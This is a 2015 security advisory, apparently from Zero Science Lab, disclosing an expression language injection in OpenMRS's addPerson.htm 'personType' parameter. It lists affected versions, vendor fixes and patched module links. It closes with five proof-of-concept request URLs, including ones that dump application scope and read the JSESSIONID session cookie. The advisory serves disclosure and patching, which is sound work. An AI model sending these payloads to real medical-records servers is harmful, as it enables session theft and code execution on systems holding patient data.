OpenMRS 2.3 (1.11.4) Expression Language Injection
Posted on 09 December 2015
OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability Vendor: OpenMRS Inc. Product web page: http://www.openmrs.org Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0) OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b)) Summary: OpenMRS is an application which enables design of a customized medical records system with no programming knowledge (although medical and systems analysis knowledge is required). It is a common framework upon which medical informatics efforts in developing countries can be built. Desc: Input passed via the 'personType' parameter is not properly sanitised in the spring's expression language support via 'addPerson.htm' script before being used. This can be exploited to inject expression language (EL) and subsequently execute arbitrary Java code. Tested on: Ubuntu 12.04.5 LTS Apache Tomcat/7.0.26 Apache Tomcat/6.0.36 Apache Coyote/1.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5288 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5288.php Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module Severity: Major Exploit: Remote Code Execution by an authenticated user Vendor Bug Fixes: Disabled serialization and deserialization of dynamic proxies Disabled deserialization of external entities in XML files Disabled spring's Expression Language support https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868 https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824 https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1 http://openmrs.org/2015/12/reference-application-2-3-1-released/ https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10 https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3 https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5 https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod OpenMRS platform has been upgraded to version 1.11.5 Reporting module has been upgraded to version 0.9.8.1 Metadata sharing module has been upgraded to version 1.1.10 Serialization.xstream module has been upgraded to version 0.2.10 Who is affected? Anyone running OpenMRS Platform (1.9.0 and later) Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3 Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version. Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version. 02.11.2015 -- http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${3*3}&viewType= http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${applicationScope}&viewType= http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=%3Ci%3E${username}&viewType= http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${cookie[%22JSESSIONID%22].value} http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${Condition?%22Ok%22:3%3C2}
